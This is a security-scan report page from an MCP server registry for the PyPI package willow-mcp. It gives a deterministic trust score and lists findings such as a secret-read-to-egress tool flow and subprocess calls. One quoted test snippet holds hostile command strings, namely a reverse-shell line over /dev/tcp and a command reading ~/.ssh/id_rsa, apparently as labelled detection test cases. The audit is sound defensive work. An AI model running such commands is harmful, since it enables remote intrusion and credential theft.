willow-mcp
PyPI
v2.24.3
Published by willow-memory — no publish provenance, so origin is unverified, but the source is public: the repository link below is self-declared yet readable, so you can inspect the code before adopting it.
Agent-neutral MCP server — SQLite store, Postgres knowledge base, Kart task queue
The grade answers one question — how safe is this server for you to adopt — so it is computed in two auditable stages. Nothing below is an opinion or an LLM's guess; every line is a real term the deterministic engine applied, and the same input always yields the same number.
1. Threat score — 100 − 0 = 100. What the published surface and source actually contain:
The deterministic scan raised no scored threat in the surface it inspected — the threat score stayed at 100. Capability observations and advisory notes are recorded but never lower it.
2. Client adoption risk — 100 − 7 = 93. Three small, subtract-only factors that reflect your risk in adopting it — a clean scan proves less on a powerful, unverified or barely-inspectable package, so the grade says so plainly:
| Points | Adoption-risk factor |
|---|---|
| −6 | capability blast radius (high) — client exposure if the model is manipulated |
| −1 | publisher verification (public source) — no provenance, but the source is public and inspectable |
Capability observations and info notes are shown under Findings but never scored.
Open any row's finding below for the file, line and evidence behind a deduction.
Tools that read sensitive data ([mai_read_file, mai_get_env]) and tools that can send data out ([grove_send_message]) are exposed together. An agent can move private data to the sink.
Evidence: sources [mai_read_file, mai_get_env] → sinks [grove_send_message]
Fix: Keep secret-reading and egress capabilities on separate, separately-approved servers.
Location: flow mai_read_file → grove_send_message
In the server's implementation (`src/willow_mcp/meter.py:92`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ne try: r = subprocess.run( ["nvidia-smi", f"--query-gpu={field}", "--format=csv,noheader,nounit
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/willow_mcp/meter.py
In the server's implementation (`src/willow_mcp/pgp.py:46`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: }.sig" try: subprocess.run( [ "gpg", "--batch",
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/willow_mcp/pgp.py
In the server's implementation (`src/willow_mcp/postgres_lifecycle.py:28`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: try: proc = subprocess.run( ["pg_isready", "-q"], capture_output=True, t
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/willow_mcp/postgres_lifecycle.py
In the server's implementation (`src/willow_mcp/repo_sweep.py:53`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: str) -> str: proc = subprocess.run( ["git", "-C", str(repo), *args], capture_output=True, text=True,
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/willow_mcp/repo_sweep.py
In the server's implementation (`src/willow_mcp/oauth.py:326`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: _JWKS_CACHE[1] with urllib.request.urlopen("https://appleid.apple.com/auth/keys", timeout=10) as resp: # nosec B310
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/willow_mcp/oauth.py
Tool "mai_write_file" can write, overwrite or delete files (keyword "write_file" in tool name). Verify it is scoped to a safe directory.
Fix: Constrain file operations to an explicit, non-sensitive root; reject path traversal.
Location: tool mai_write_file
In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_server.py:914`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ive"), ("cat ~/.ssh/id_rsa", "secret_access"), ("bash -i >& /dev/tcp/10.0.0.1/9 0>&1", "exfiltration"), (":(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_server.py
Tool "mai_write_file" can mutate/egress but declares no destructiveHint. Clients that don't default to spec-safe behavior may not prompt before running it.
Fix: Declare accurate annotations, and gate destructive tools on user confirmation regardless.
Location: tool mai_write_file
In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/build_holdings.py:17`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ath): return None r=subprocess.run(["du","-sh",path],capture_output=True,text=True) return r.stdout.split()[0] i
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server docs/repatriation/engine/build_holdings.py
In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/extract_pieces.py:15`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ect, cypher): out = subprocess.run([CBM, "cli", "query_graph", json.dumps({"project": proj
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server docs/repatriation/engine/extract_pieces.py
In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/materialize_toolkit.py:34`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: e("/tmp/_tk") r=subprocess.run(["curl","-sSL","--max-time","30","-w","%{http_code}","-o","/tmp/_tk",url],
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server docs/repatriation/engine/materialize_toolkit.py
In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/mcpdrive.py:12`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: None): self.p = subprocess.Popen( cmd, shell=True, cwd=cwd, stdin=subprocess.PIPE, stdou
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server docs/repatriation/engine/mcpdrive.py
In a packaging/dev/install script (shipped, but not the server runtime) (`scripts/ratification/pick_and_check.py:4`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ) def pg(q): return subprocess.run(["psql","-d","willow_both","-tAc",q], capture_output=Tr
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server scripts/ratification/pick_and_check.py
In a packaging/dev/install script (shipped, but not the server runtime) (`scripts/vendor_drift.py:64`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: r: try: p = subprocess.run( ["git", "-C", str(repo), *args], capture_output=True, te
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server scripts/vendor_drift.py
Each tool and what it can reach — statically extracted from the published source.
grove_send_messagenetwork egressmai_get_envreads sensitive datamai_read_filereads sensitive datamai_write_filewrites filesdiagnostic_summaryno sensitive capabilitygrove_ackno sensitive capabilitygrove_agentsno sensitive capabilitygrove_bus_receiveno sensitive capabilitygrove_bus_sendno sensitive capabilitygrove_flagno sensitive capabilitygrove_flaggedno sensitive capabilitygrove_fleet_statusno sensitive capabilitygrove_get_historyno sensitive capabilitygrove_get_identityno sensitive capabilitygrove_get_threadno sensitive capabilitygrove_heartbeatno sensitive capabilitygrove_human_requiredno sensitive capabilitygrove_inboxno sensitive capabilitygrove_list_channelsno sensitive capabilitygrove_replyno sensitive capabilitygrove_searchno sensitive capabilitygrove_unflagno sensitive capabilitygrove_watchno sensitive capabilitygrove_watch_allno sensitive capabilitymai_call_macrono sensitive capabilitymai_execute_directiveno sensitive capabilitymai_get_constraintsno sensitive capabilitymai_invalidate_cacheno sensitive capabilitymai_list_phasesno sensitive capabilitymai_next_phaseno sensitive capabilitymai_resolve_phaseno sensitive capabilitywhoamino sensitive capabilityCross-tool combinations that form a data-exfiltration primitive (untrusted input → sensitive source → external sink).
Scan history per published version. The engine is deterministic — the same version always yields the same score, so a changed score means the package itself changed.
| Version | Score | Findings | Engine | Scanned |
|---|---|---|---|---|
v2.24.3 latest |
A 93/100 | 15 | 1.13.0 | 2026-09-07 |
v2.24.1 |
A 93/100 | 15 | 1.13.0 | 2026-09-04 |
v2.19.0 |
A 93/100 | 15 | 1.13.0 | 2026-08-30 |
v2.18.0 |
A 93/100 | 15 | 1.13.0 | 2026-08-28 |
v2.17.0 |
A 93/100 | 15 | 1.13.0 | 2026-08-27 |
v2.14.0 |
A 93/100 | 15 | 1.13.0 | 2026-08-25 |
v2.13.1 |
A 93/100 | 15 | 1.12.1 | 2026-08-24 |
v2.13.0 |
A 93/100 | 15 | 1.12.1 | 2026-08-20 |
v2.11.0 |
A 93/100 | 15 | 1.12.1 | 2026-08-19 |
v2.10.0 |
A 93/100 | 15 | 1.12.1 | 2026-08-18 |
Show this server's live Trust Score in your README, docs or website. The badge is served straight from the registry and updates automatically after every rescan — no API key needed. It links back to this page, so anyone who sees the grade can also read the findings behind it instead of taking a number on faith.
The score above is reproducible: the same package version always yields the same result. Run it locally or over the free API — no account, no LLM, fully deterministic.
npx mcptrustchecker scan willow-mcp --online --registry pypi
Security scan results for the A5sql MCP server.
Expose AgentsKit tools as an MCP server — use them from Claude Desktop, Cursor, Windsurf, or any MCP host.
MCP server for Aiven cloud data platform - manage PostgreSQL, Kafka, and other services
MCP Server for All-Inkl.com hosting via KAS API
Structured aquarium, marine, terrarium and paludarium data for AI agents.
MCP server that gives your AI agent real vehicle data — specs, representative images, federal recalls, owner complaints, service bulletins, defect investigations, and OBD-II DTC reference — from the CarVector API.